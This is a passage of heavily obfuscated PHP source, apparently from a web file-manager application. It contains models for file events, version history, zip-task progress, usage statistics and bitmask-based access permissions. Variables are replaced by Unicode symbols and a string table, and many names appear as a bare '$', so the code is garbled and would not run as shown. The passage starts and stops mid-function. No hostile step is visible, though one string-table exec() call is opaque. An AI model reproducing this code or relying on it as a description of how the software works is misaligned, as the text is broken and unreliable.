eventCreate($ظ, $٬) { $˙ =& $_SERVER[ö]; $ؤ = Model($˙[1350])->sourceInfo($ظ); $ܹ = array($˙[2085] => $٬, $˙[32] => $ؤ[$˙[32]]); return $this->addEvent($ظ, $˙[2084], $ܹ); } public function eventFileEdit($) { $Î =& $_SERVER[ö]; $ʵ = array($Î[2091] => $_SERVER[$Î[2092]], $Î[2093] => strtolower(ACTION)); if (isset($GLOBALS[$Î[7]][$Î[2094]])) { $ʵ[$Î[2094]] = $Î[88]; } return $this->addEvent($, $Î[1835], $ʵ); } public function eventRecycle($©, $ܣ) { return $this->addEvent($©, $_SERVER[ö][2086], $ܣ); } public function eventRemove($ݏ) { $ϴ =& $_SERVER[ö]; $ = Model($ϴ[1350])->sourceInfo($ݏ); $ = $[$ϴ[32]]; return $this->addEvent($[$ϴ[432]], $ϴ[1834], $); } public function eventShare($ޅ, $) { return $this->addEvent($ޅ, $_SERVER[ö][1845], $); } public function eventMove($ʬ, $⟩, $Ύ) { $ =& $_SERVER[ö]; $ = Model($[1350]); $ٖ = $->sourceInfo($ʬ); $é = $->sourceInfo($⟩); $ = $->sourceInfo($Ύ); $۽ = array($[1174] => $⟩, $[2095] => $é[$[32]], $[2073] => !empty($é[$[519]]) ? $é[$[519]] : $[12], $[1175] => $Ύ, $[2096] => $[$[32]], $[2097] => !empty($[$[519]]) ? $[$[519]] : $[12]); $this->addEvent($ʬ, $[557], $۽); $ٖ = $->sourceInfo($ʬ); $۽ = array($[402] => $ٖ[$[402]], $[32] => $ٖ[$[32]]); $this->addEvent($⟩, $[2098], $۽); } public function eventCopy($) { $this->eventCreate($, $_SERVER[ö][555]); } public function eventRename($ǰ, $՛, $Ɯߪ) { $Ӹ =& $_SERVER[ö]; $ = array($Ӹ[1174] => $՛, $Ӹ[1175] => $Ɯߪ); return $this->addEvent($ǰ, $Ӹ[1365], $); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[ö][2099], $); } public function eventAddDesc($, $ڒ) { return $this->addEvent($, $_SERVER[ö][2100], $ڒ); } public function listBySource($) { $ =& $_SERVER[ö]; $ = Model($[1350])->sourceInfo($); $Օ = array($[417] => $); if ($[$[410]] == $[88]) { $ꞙ = Model($[1350])->listSearchChildren($, 20000); $ꞙ[] = $ . $[378]; $Օ = array($[402] => array($[7], $ꞙ)); } $ = $this->where($Օ)->order($[2101])->selectPage(); if ($[$[366]][$[367]] == 0) { $[$[366]][$[367]] = 1; $[$[369]] = array(array($[417] => $, $[2082] => $[$[432]], $[1667] => $[$[454]], $[422] => $[2102], $[423] => $[$[200]], $[1669] => $[12])); } return $this->eventListParse($, $); } private function eventListParse($ݼ발, $) { $߮ =& $_SERVER[ö]; $ء = $ݼ발[$߮[369]]; $ = array_to_keyvalue($ء, $߮[12], $߮[402]); $Ю = array_to_keyvalue($ء, $߮[12], $߮[2088]); foreach ($ء as $人) { $賫 = $人[$߮[453]]; if ($人[$߮[33]] == $߮[557] && isset($賫[$߮[1174]])) { $[] = $賫[$߮[1174]] . $߮[12]; $[] = $賫[$߮[1175]] . $߮[12]; } if ($人[$߮[33]] == $߮[2098] && isset($賫[$߮[402]])) { $[] = $賫[$߮[402]] . $߮[12]; } } $ = array_merge($, $Ю, array($ . $߮[12])); $ = array_unique($); $߈ = array_unique(array_to_keyvalue($ء, $߮[12], $߮[1676])); $Ҥ = Model($߮[535])->userListInfo($߈); $Ԝ = Model($߮[831])->sourceListInfo($, !0); foreach ($ء as &$人) { if ($人[$߮[33]] == $߮[557] && isset($人[$߮[453]][$߮[1174]])) { $人[$߮[453]][$߮[1174]] = $Ԝ[$人[$߮[453]][$߮[1174]]]; $人[$߮[453]][$߮[1175]] = $Ԝ[$人[$߮[453]][$߮[1175]]]; } if ($人[$߮[33]] == $߮[2098] && isset($人[$߮[453]][$߮[402]])) { $人[$߮[453]][$߮[402]] = $Ԝ[$人[$߮[453]][$߮[402]]]; } $人[$߮[86]] = $Ԝ[$人[$߮[402]]]; $人[$߮[2103]] = $Ԝ[$人[$߮[2088]]]; if ($人[$߮[33]] == $߮[1834]) { $人[$߮[2103]] = $人[$߮[86]]; $人[$߮[2088]] = $人[$߮[2103]][$߮[402]]; $人[$߮[86]] = !1; $人[$߮[402]] = $߮[12]; } $人[$߮[2033]] = $Ҥ[$人[$߮[1676]]]; } unset($人); $ݼ발[$߮[369]] = $ء; return $ݼ발; } public function removeBySource($) { $݈ޡ = array($_SERVER[ö][417] => $); $this->where($݈ޡ)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\157\x75\x72\143\x65\x5f\x68\x69\x73\164\x6f\162\171"; public function historyCount($᭹) { $־ =& $_SERVER[ö]; if (!$᭹) { return array(); } if (is_string($᭹) || is_int($᭹)) { $᭹ = array($᭹); } $ٯ = array($־[402], $־[1898] => $־[500]); $ڨ = array($־[402] => array($־[7], $᭹)); $ʃљ = $this->field($ٯ)->where($ڨ)->group($־[402])->select(); return array_to_keyvalue($ʃљ, $־[402], $־[500]); } public function addHistory($ȼ, $İ = '') { $ =& $_SERVER[ö]; $Ȩ = array($[417] => $ȼ[$[402]], $[1667] => isset($ȼ[$[456]]) ? $ȼ[$[456]] : $ȼ[$[454]], $[469] => $ȼ[$[468]], $[585] => $ȼ[$[76]], $[2104] => $İ); if ($GLOBALS[$[6]][$[89]][$[1232]] >= 1) { $this->historyAutoClear($Ȩ[$[402]]); $this->add($Ȩ); } Hook::trigger($[2105], $Ȩ); Model($[2106])->eventFileEdit($ȼ[$[402]]); } private function historyAutoClear($ǴЧ) { $ꉌ =& $_SERVER[ö]; $ = Model($ꉌ[776])->get($ꉌ[1254]); $ = $GLOBALS[$ꉌ[6]][$ꉌ[89]][$ꉌ[1232]]; $ߪ = $ == $ꉌ[1255] ? min(5, $) : $; $ߪ = $ߪ <= 0 ? 0 : $ߪ - 1; if ($ߪ >= 500) { return; } $ = array($ꉌ[417] => $ǴЧ); $ǝ = $this->field($ꉌ[2107])->where($)->order($ꉌ[2101])->select(); if (!$ǝ || $ߪ >= count($ǝ)) { return; } $ = array_to_keyvalue($ǝ, $ꉌ[12], $ꉌ[399]); $ = array_slice($, $ߪ); $ = array_to_keyvalue($ǝ, $ꉌ[12], $ꉌ[468]); $ = array_slice($, $ߪ); if (!$ || !$) { return; } $ = array($ꉌ[419] => array($ꉌ[7], $)); $this->where($)->delete(); Model($ꉌ[471])->remove($); } public function listData($ڕ) { $ؤĝ =& $_SERVER[ö]; $ = array($ؤĝ[417] => $ڕ); $Ƽ = $ؤĝ[2108]; $κ = $this->field($Ƽ)->where($)->order($ؤĝ[2101])->selectPage(); $this->_listAppendUser($κ[$ؤĝ[369]]); $ݲ = Model($ؤĝ[776])->get($ؤĝ[1254]); $ = 5; if ($ݲ == $ؤĝ[1255]) { $κ[$ؤĝ[369]] = array_slice($κ[$ؤĝ[369]], 0, $); $κ[$ؤĝ[366]] = array($ؤĝ[2109] => 1, $ؤĝ[2110] => 20, $ؤĝ[2111] => 1, $ؤĝ[2112] => count($κ[$ؤĝ[369]])); } return $κ; } protected function _listAppendUser(&$鉋) { $Ρ =& $_SERVER[ö]; $ = array_to_keyvalue($鉋, $Ρ[12], $Ρ[1676]); $ = Model($Ρ[535])->userListInfo($); foreach ($鉋 as &$) { $ۧ۳ = $[$Ρ[1676]]; $[$Ρ[454]] = $[$ۧ۳] ? $[$ۧ۳] : !1; } unset($); } public function fileInfo($ͳ) { $Є =& $_SERVER[ö]; $ә = $this->tablePrefix; $ = "{$ә}\x69\x6f\x5f\146\x69\x6c\145\40\x66\x69\x6c\145\x73\40\x6f\x6e\x20\146\151\x6c\145\163\x2e\x66\151\x6c\145\x49\x44\x20\x3d\40\150\x69\163\x74\157\162\x79\56\146\151\154\145\x49\104"; return $this->alias($Є[2113])->where(array($Є[419] => $ͳ))->join($, $Є[2114])->find(); } public function removeItem($) { $ =& $_SERVER[ö]; $״ = array($[419] => $); $֜ = $this->where($״)->find(); if ($֜) { $ή = $this->where($״)->delete(); Model($[471])->remove($֜[$[468]]); return $ή; } return !1; } public function removeBySource($) { $ =& $_SERVER[ö]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($[417] => array($[7], $)); $ʨ = $this->field($[469])->where($)->select(); if ($ʨ) { $this->where($)->delete(); $瑘 = array_to_keyvalue($ʨ, $[12], $[468]); Model($[471])->remove($瑘); } return !0; } public function setDetail($, $) { $Ȏ =& $_SERVER[ö]; return $this->where(array($Ȏ[419] => $))->save(array($Ȏ[2104] => $)); } public function rollbackToItem($ʥѡ, $˜) { $μ =& $_SERVER[ö]; $㎯Å = Model($μ[831])->sourceInfo($ʥѡ); $this->addHistory($㎯Å, LNG($μ[2115])); $ɮ = $this->find($˜); $곡 = array($μ[468] => $ɮ[$μ[468]], $μ[76] => $ɮ[$μ[76]], $μ[85] => time(), $μ[456] => USER_ID); Model($μ[831])->where(array($μ[402] => $ʥѡ))->save($곡); return $this->where(array($μ[419] => $˜))->delete(); } public function clearSame($) { $㐒 =& $_SERVER[ö]; $ = $this->listData($); $㌕ = array_to_keyvalue_group($, $㐒[468]); $ = array(); $ = array(); foreach ($㌕ as $䡚) { if (!$䡚 || count($䡚) <= 1) { continue; } foreach ($䡚 as $Ӹܻ) { $[] = $Ӹܻ[$㐒[468]]; $[] = $Ӹܻ[$㐒[399]]; } } if (!$) { return; } $this->where(array($㐒[399] => array($㐒[7], $)))->delete(); Model($㐒[471])->remove($); } public function userSpace() { $ؘ =& $_SERVER[ö]; $䕣 = $this->tablePrefix; $ = array($ؘ[1667] => USER_ID); $瑇 = "{$䕣}\x69\x6f\x5f\146\151\x6c\145\x20\146\x69\154\x65\x73\40\157\x6e\40\146\x69\154\145\163\56\146\x69\x6c\x65\111\x44\x20\x3d\40\x68\x69\163\164\x6f\x72\x79\56\x66\151\154\145\111\104"; return $this->alias($ؘ[2113])->where($)->join($瑇, $ؘ[2114])->sum($ؘ[76]); } } goto cٜ; b˰: class TaskZip extends TaskFileTransfer { protected function startAfter() { $햸 =& $_SERVER[ö]; parent::startAfter(); Hook::bind($햸[1792], array($this, $햸[1787])); $ =& $this->task; $[$햸[1789]] = $햸[1209]; if (!$[$햸[1576]]) { $[$햸[1576]] = LNG($햸[1793]); } } protected function endAfter() { $ݣ =& $_SERVER[ö]; parent::endAfter(); Hook::unbind($ݣ[1792], array($this, $ݣ[1787])); } public function updateAfter() { $ =& $_SERVER[ö]; $Õ =& $this->task; if (!$Õ[$[792]] || !$Õ[$[769]]) { return; } if ($Õ[$[1789]] == $[1209]) { $ŬΆ = $Õ[$[1730]]; if ($Õ[$[1731]] != $[1209]) { $ŬΆ = 0; } $̵ֽ = ($Õ[$[1734]] + $ŬΆ) / $Õ[$[769]]; $Õ[$[1678]] = $̵ֽ * 0.3; } else { if ($Õ[$[1789]] == $[313]) { $̵ֽ = $Õ[$[1677]] / $Õ[$[792]]; $Õ[$[1678]] = 0.3 + $̵ֽ * 0.5; } else { if ($Õ[$[1789]] == $[107]) { $̵ֽ = 0; if ($Õ[$[1729]]) { $̵ֽ = $Õ[$[1730]] / $Õ[$[1729]]; } $Õ[$[1678]] = 0.3 + 0.5 + $̵ֽ * 0.2; } } } if ($Õ[$[1678]] > 0) { $ћ = timeFloat() - $Õ[$[1680]] - $Õ[$[1683]]; $Õ[$[1684]] = $ћ * (1 - $Õ[$[1678]]) / $Õ[$[1678]]; } } public function copyFileStart($ъز, $ے, $ɒ, $Ըս, $, $) { $ =& $_SERVER[ö]; parent::copyFileStart($ъز, $ے, $ɒ, $Ըս, $, $); $ =& $this->task; if ($[$[1789]] == $[313]) { $[$[1789]] = $[107]; } $this->update(); } public function copyFileEnd($ꠛ, $, $ԫ, $֑أ, $ȉ, $) { $˿ =& $_SERVER[ö]; $ =& $this->task; $[$˿[1730]] = $[$˿[1729]]; $[$˿[1734]] += $[$˿[1729]]; $[$˿[1731]] = $˿[12]; $this->update(); } public function nameParse($) { $ =& $_SERVER[ö]; $ύ =& $this->task; if ($ύ[$[1677]] < $ύ[$[792]]) { $ = get_path_this($); if (strstr($, $[10])) { $ύ[$[1677]] += 1; } } if ($ύ[$[1789]] == $[1209]) { $ύ[$[1789]] = $[313]; } $ύ[$[1727]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $䝼 =& $_SERVER[ö]; $ = array($䝼[600] => array($䝼[33] => $䝼[1794], $䝼[273] => array($䝼[224], $䝼[771], $䝼[1795], $䝼[1796])), $䝼[1797] => array($䝼[33] => $䝼[1798], $䝼[273] => array($䝼[224], $䝼[769], $䝼[1799], $䝼[1800], $䝼[1801]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$䝼[33]]; $this->field = $[$][$䝼[273]]; return !0; } public function listData($ = false, $۸ = "\155\x6f\x64\x69\146\x79\x54\x69\155\145", $傑 = false) { return parent::listData($, $۸, $傑); } public function trendList($͛) { $͆Ƶ =& $_SERVER[ö]; $ꎦ = $this->listData(); if ($ꎦ) { $龗 = end($ꎦ); $ = date($͆Ƶ[1802], strtotime($͆Ƶ[1803])); if ($龗[$͆Ƶ[224]] == $) { return $ꎦ; } $Nj = strtotime($龗[$͆Ƶ[224]]); } if (!isset($Nj)) { $Ԑ = $͛ == $͆Ƶ[600] ? $͆Ƶ[535] : $͆Ƶ[831]; $Nj = Model($Ԑ)->min($͆Ƶ[200]); } $ = $͆Ƶ[1804] . ucfirst($͛); $ = $this->dateList($Nj); foreach ($ as $) { $this->{$}($); } return $this->listData(); } private function dateList($͆) { $ʙ =& $_SERVER[ö]; $ = $͆; $ = strtotime($ʙ[1803]); $ժ = array(); while ($ <= $) { $ժ[] = date($ʙ[1802], $); $ = strtotime($ʙ[1805], $); } return $ժ; } public function _recordUser($ = '') { $ =& $_SERVER[ö]; $ = strtotime(date($[1806], strtotime($))); $ = strtotime(date($[1807], strtotime($))); $ֽ = array($[200] => array($[1027], $)); $颍ᵧ = Model($[535])->where($ֽ)->count($[1676]); $ֽ[$[200]] = array($[333], array($, $)); $ = Model($[535])->where($ֽ)->count($[1676]); $ֽ[$[33]] = $[1808]; $ = Model($[1809])->where($ֽ)->count($[1810]); $ = array($[224] => $, $[771] => (int) $颍ᵧ, $[1795] => (int) $, $[1796] => (int) $); return $this->insert($); } public function _recordStore($ = '') { $ɜ =& $_SERVER[ö]; $ = strtotime(date($ɜ[1807], strtotime($))); $ = array($ɜ[200] => array($ɜ[1027], $)); $Ƌ = Model($ɜ[471])->where($)->sum($ɜ[76]); $[$ɜ[410]] = 0; $ֽ݃ = Model($ɜ[831])->where($)->sum($ɜ[76]); $[$ɜ[411]] = 1; $֣Ԕ = Model($ɜ[831])->where($)->sum($ɜ[76]); $[$ɜ[411]] = 2; $ǻ = Model($ɜ[831])->where($)->sum($ɜ[76]); $ѵ = array($ɜ[224] => $, $ɜ[769] => (int) $ֽ݃, $ɜ[1799] => (int) $Ƌ, $ɜ[1800] => (int) $֣Ԕ, $ɜ[1801] => (int) $ǻ); return $this->insert($ѵ); } public function trend($ȩ, $) { $ =& $_SERVER[ö]; if (!$this->init($ȩ)) { return !1; } $ѻ = $this->trendList($ȩ); if ($ѻ && $ != $[1649]) { $ٽ = $ѻ[0][$[224]]; $⮊ = $this->validDate($, $ٽ); $悃 = array(); $ = array_to_keyvalue($ѻ, $[224]); foreach ($⮊ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($ѻ); $[$[224]] = $; if ($ȩ == $[600]) { $[$[1795]] = $[$[1796]] = 0; } } $悃[] = $; } $ѻ = $悃; } $Ƿ = array($[600] => array($[771] => LNG($[1811]), $[1795] => LNG($[1812]), $[1796] => LNG($[1813])), $[1797] => array($[769] => LNG($[1814]), $[1799] => LNG($[1815]), $[1800] => LNG($[1816]), $[1801] => LNG($[1817]))); $Ă = array($[600] => $[1818], $[1797] => $[76]); if (empty($ѻ)) { $ = date($[1802], strtotime($[1803])); $؝ = array($[224] => $); foreach ($Ƿ[$ȩ] as $Ƕ => $) { $؝[$Ƕ] = 0; } $ѻ[] = $؝; } $ϑߣ = array(); foreach ($ѻ as $) { if ($ȩ == $[1797] && $[$[1799]] > $[$[769]]) { $[$[1799]] = $[$[769]]; } foreach ($Ƿ[$ȩ] as $Ƕ => $) { $ = array($[224] => $[$[224]], $[1576] => $); $[$Ă[$ȩ]] = isset($[$Ƕ]) ? $[$Ƕ] : 0; $ϑߣ[] = $; } } return $ϑߣ; } public function validDate($Φ, $ꥹ) { $؉ =& $_SERVER[ö]; $剎 = date($؉[1802], strtotime($؉[1803])); $ = array($剎); switch ($Φ) { case $؉[1656]: $ۨБ = mktime(0, 0, 0, date($؉[1819]), date($؉[1398]) - date($؉[1461]) + 7 - 7, date($؉[1820])); $ = 0; do { $IJ = date($؉[1802], $ۨБ - 3600 * 24 * 7 * $); $[] = $IJ; $++; } while ($ꥹ < $IJ); break; case $؉[1654]: $ = 1; do { $ܗ = date($؉[1821], strtotime("\x2d\40{$}\x20\x6d\157\156\164\x68\x73")); $[] = $ܗ; $++; } while ($ꥹ < $ܗ); break; case $؉[1822]: $嘴 = (int) date($؉[1820], strtotime($ꥹ)); $Ċڹ = (int) date($؉[1820]); if ($嘴 >= $Ċڹ) { break; } for ($嘴; $嘴 < $Ċڹ; $嘴++) { $[] = $嘴 . $؉[1823]; } break; default: break; } if ($ꥹ > end($)) { array_pop($); } sort($); return $; } public function listTable($̺) { $ = ucfirst($̺); return Model($)->listData(); } public function option($ˊ) { $ق = $_SERVER[ö][1824] . ucfirst($ˊ); return $this->{$ق}(); } private function optionUser() { $ݡ =& $_SERVER[ö]; $ԥ = Model($ݡ[535])->count($ݡ[1676]); $ = Model($ݡ[535])->where($ݡ[1825])->count($ݡ[1676]); $ = intval($GLOBALS[$ݡ[6]][$ݡ[349]][$ݡ[1631]]) / 3600; $ = strtotime("\55{$}\40\150\x6f\165\x72\x73"); $ = strtotime(date($ݡ[1806])); if ($ < $) { $ = $; } $ = array($ݡ[1826] => array($ݡ[1028], $)); $ = (int) Model($ݡ[535])->where($)->count($ݡ[1676]); if (!$) { $ = 1; } $ = array($ݡ[1826] => array($ݡ[1028], $)); $ = Model($ݡ[535])->where($)->count($ݡ[1676]); return array($ݡ[765] => (int) $ԥ, $ݡ[1827] => (int) ($ԥ - $), $ݡ[1828] => (int) $, $ݡ[1829] => (int) $, $ݡ[1830] => $); } private function optionFile() { $г =& $_SERVER[ö]; $ = $this->sourceSize(); $ = $[$г[76]]; $̲ = $[$г[1799]]; $ = Model($г[831])->where(array($г[410] => 0))->count($г[402]); $ņ = array($г[410] => 0, $г[200] => array($г[1028], strtotime(date($г[1806])))); $ = Model($г[831])->where($ņ)->sum($г[76]); $ = Model($г[831])->where($ņ)->count($г[402]); return array($г[769] => $, $г[1799] => $̲, $г[1831] => $ - $̲, $г[1832] => (int) $, $г[771] => (int) $, $г[1833] => (int) $); } private function optionAccess() { $ =& $_SERVER[ö]; return array($[765] => $this->typeLogCnt(), $[107] => $this->typeLogCnt($[107]), $[452] => $this->typeLogCnt($[452]), $[1834] => $this->typeLogCnt($[1834]), $[1835] => $this->typeLogCnt($[1835]), $[600] => $this->typeLogCnt($[12], $[1810])); } private function typeLogCnt($ؠ = '', $ = "\x69\x64") { $ĥ =& $_SERVER[ö]; $ɘ = array($ĥ[107] => array($ĥ[1836], $ĥ[1837]), $ĥ[452] => array($ĥ[1838], $ĥ[1839]), $ĥ[1834] => array($ĥ[1840], $ĥ[1841], $ĥ[1842]), $ĥ[1835] => array($ĥ[1843], $ĥ[1844]), $ĥ[1845] => array($ĥ[1846], $ĥ[1847], $ĥ[1848])); $ = strtotime(date($ĥ[1806])); $ = array($ĥ[200] => array($ĥ[1028], $)); if ($ؠ) { $[$ĥ[33]] = array($ĥ[7], $ɘ[$ؠ]); } $ʜ = Model($ĥ[1809])->where($)->count($); return (int) $ʜ; } private function optionServer() { $ܾī =& $_SERVER[ö]; $ӟ = $this->diskDriver(); $ơ = KodIO::defaultDriver(); $ = array($ܾī[823] => $ơ[$ܾī[399]]); $Қ = Model($ܾī[471])->where($)->sum($ܾī[76]); $ܦ = explode($ܾī[53], $_SERVER[$ܾī[143]]); $˯ = $ܦ[0]; $ = $GLOBALS[$ܾī[6]][$ܾī[21]]; $쭈 = $[$ܾī[990]]; if ($쭈 == $ܾī[978]) { $ = explode($ܾī[1294], $[$ܾī[989]]); $쭈 = $[0]; } if ($쭈 == $ܾī[926] || $쭈 == $ܾī[810]) { $ձ = Model()->db()->query($ܾī[1849]); $ = $ձ[0] && isset($ձ[0][$ܾī[1575]]) ? $ձ[0][$ܾī[1575]] : 0; $쭈 = $ܾī[1850] . ($ ? $ܾī[8] . $ : $ܾī[12]); } $Գ = $GLOBALS[$ܾī[6]][$ܾī[349]][$ܾī[833]]; return array($ܾī[1851] => $ӟ ? $ӟ[$ܾī[1852]] : 0, $ܾī[1853] => $ӟ ? $ӟ[$ܾī[1854]] : 0, $ܾī[1855] => (int) $ơ[$ܾī[1852]] * 1024 * 1024 * 1024, $ܾī[1856] => (int) $Қ, $ܾī[1857] => ucfirst($˯), $ܾī[1858] => $ܾī[1859] . PHP_VERSION, $ܾī[1860] => phpBuild64() ? 64 : 32, $ܾī[764] => str_replace($ܾī[1144], $ܾī[1006], $쭈), $ܾī[349] => ucfirst($Գ), $ܾī[32] => $_SERVER[$ܾī[1861]]); } private function diskDriver() { $ =& $_SERVER[ö]; $Ӆ = $[8]; $ֶޭ = $GLOBALS[$[6]][$[1311]] == $[1312]; if ($ֶޭ) { $Ӆ = $[1862]; if (function_exists($[1863])) { exec($[1864], $롻); $Ӆ = $롻[1] . $[8]; } } if (!file_exists($Ӆ)) { return; } $ = @disk_total_space($Ӆ); $ = $ - @disk_free_space($Ӆ); return array($[1852] => $, $[1854] => $); } public function fileChart($) { $ݕ =& $_SERVER[ö]; if (isset($[$ݕ[1676]])) { return Model($ݕ[831])->userFileTypeProfile($[$ݕ[1676]]); } if (isset($[$ݕ[1865]])) { return Model($ݕ[831])->groupFileTypeProfile($[$ݕ[1865]]); } $Ɨ؞ = $this->sourceSize(); $ҩ = array($ݕ[432] => 0, $ݕ[411] => 1); $ = Model($ݕ[831])->where($ҩ)->sum($ݕ[76]); $ҩ[$ݕ[411]] = 2; $Β = Model($ݕ[831])->where($ҩ)->sum($ݕ[76]); return array($ݕ[769] => $Ɨ؞[$ݕ[76]], $ݕ[1799] => $Ɨ؞[$ݕ[1799]], $ݕ[1800] => (int) $, $ݕ[1801] => (int) $Β); } private function sourceSize() { $ =& $_SERVER[ö]; $ = Model($[831])->where(array($[410] => 0))->sum($[76]); $ޫ = Model($[471])->sum($[76]); if ($ޫ > $) { $ޫ = $; } return array($[76] => (int) $, $[1799] => (int) $ޫ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $Δ =& $_SERVER[ö]; $ = array(array($Δ[420] => LNG($Δ[1866]), $Δ[1867] => $Δ[1868], $Δ[1869] => 1, $Δ[1870] => 1, $Δ[1871] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($Δ[420] => LNG($Δ[1872]), $Δ[1867] => $Δ[1873], $Δ[1869] => 2, $Δ[1870] => 1, $Δ[1871] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($Δ[420] => LNG($Δ[1874]), $Δ[1867] => $Δ[1875], $Δ[1869] => 3, $Δ[1870] => 1, $Δ[1871] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($Δ[420] => LNG($Δ[1876]), $Δ[1867] => $Δ[1877], $Δ[1869] => 4, $Δ[1870] => 1, $Δ[1871] => self::AUTH_SHOW | self::AUTH_VIEW), array($Δ[420] => LNG($Δ[1878]), $Δ[1867] => $Δ[1879], $Δ[1869] => 5, $Δ[1870] => 1, $Δ[1871] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($Δ[420] => LNG($Δ[1880]), $Δ[1867] => $Δ[1881], $Δ[1869] => 6, $Δ[1870] => 1, $Δ[1871] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($Δ[420] => LNG($Δ[1882]), $Δ[1867] => $Δ[1883], $Δ[1869] => 7, $Δ[1870] => 1, $Δ[1871] => 0)); return $; } public static function authCheck($, $) { $ϭ =& $_SERVER[ö]; $ = intval($); if ($GLOBALS[$ϭ[503]] && $GLOBALS[$ϭ[6]][$ϭ[1884]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($ɼ˴) { return self::authCheck($ɼ˴, self::AUTH_SHOW); } public static function authCheckView($ᡵ) { return self::authCheck($ᡵ, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($Ɏ) { return self::authCheck($Ɏ, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($ㄭ) { return self::authCheck($ㄭ, self::AUTH_REMOVE); } public static function authCheckShare($酦) { return self::authCheck($酦, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($懾) { return self::authCheck($懾, self::AUTH_ROOT); } public static function authCheckAction($Ձ, $̵) { $㊙ =& $_SERVER[ö]; $șƕ = array($㊙[1885] => self::AUTH_VIEW, $㊙[1209] => self::AUTH_DOWNLOAD, $㊙[107] => self::AUTH_UPLOAD, $㊙[1835] => self::AUTH_EDIT, $㊙[1834] => self::AUTH_REMOVE, $㊙[1845] => self::AUTH_SHARE, $㊙[354] => self::AUTH_COMMENT, $㊙[1664] => self::AUTH_EVENT, $㊙[1886] => self::AUTH_ROOT); if (!isset($șƕ[$̵])) { return; } $ = $șƕ[$̵]; $Ձ = intval($Ձ); if ($Ձ <= 0) { return !1; } if (($Ձ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Ձ & $); } public static function authDisable($Х, $) { if (intval($Х) <= 0) { return 0; } return intval($Х) & ~$; } public $optionType = "\x53\x79\x73\x74\x65\x6d\56\x73\157\x75\162\143\145\101\x75\x74\150\114\x69\x73\164"; public $field = array("\156\141\155\145", "\141\x75\164\x68", "\x6c\141\142\x65\x6c", "\x64\151\163\x70\x6c\x61\x79", "\163\x79\163\164\x65\x6d", "\x73\x6f\162\164"); public function initData() { $숱 = $this->authDefault(); foreach ($숱 as $) { $this->add($); } } public function findAuth($, $) { $ƀ =& $_SERVER[ö]; $ؔ = parent::listData(); foreach ($ؔ as $מ) { $ = intval($מ[$ƀ[413]]); if ($ <= 0 || $מ[$ƀ[1887]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $מ[$ƀ[399]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $Ɂ =& $_SERVER[ö]; $Ȥ = parent::listData(); $ = !1; foreach ($Ȥ as $) { if ($[$Ɂ[413]] <= 0 || $[$Ɂ[1887]] == $Ɂ[197]) { continue; } if (!$) { $ = $; continue; } if ($[$Ɂ[413]] > $[$Ɂ[413]]) { $ = $; } } return $ ? $[$Ɂ[399]] : $Ɂ[12]; } public function listData($͞ = false, $ = "\x73\157\x72\164", $ = false) { return parent::listData($͞, $, $); } public function update($́, $) { $ =& $_SERVER[ö]; $ = parent::listData($́); $Ơ = $this->findByName($[$[32]]); if (!$ || $Ơ && $Ơ[$[399]] != $[$[399]]) { return !1; } $this->filterAuth($[$[413]]); return parent::update($́, $); } public function remove($) { $ڼל = parent::listData($); if (!$ڼל || $ڼל[$_SERVER[ö][1299]]) { return !1; } return parent::remove($); } public function add($ׂ = array()) { $̒ =& $_SERVER[ö]; if ($this->findByName($ׂ[$̒[32]])) { return !1; } $ʡ = array($̒[32] => $̒[12], $̒[413] => 1, $̒[1888] => $̒[1875], $̒[1887] => 1, $̒[1299] => 0, $̒[1889] => 0); $ׂ = array_merge($ʡ, $ׂ); $ׂ[$̒[1889]] = $this->getSort(); $this->filterAuth($ׂ[$̒[413]]); return parent::insert($ׂ); } private function getSort() { $ =& $_SERVER[ö]; $鍄 = parent::listData(); $ܴ = array_to_keyvalue($鍄, $[12], $[1889]); return empty($ܴ) ? 0 : max($ܴ) + 1; } private function filterAuth(&$Ȱ) { if 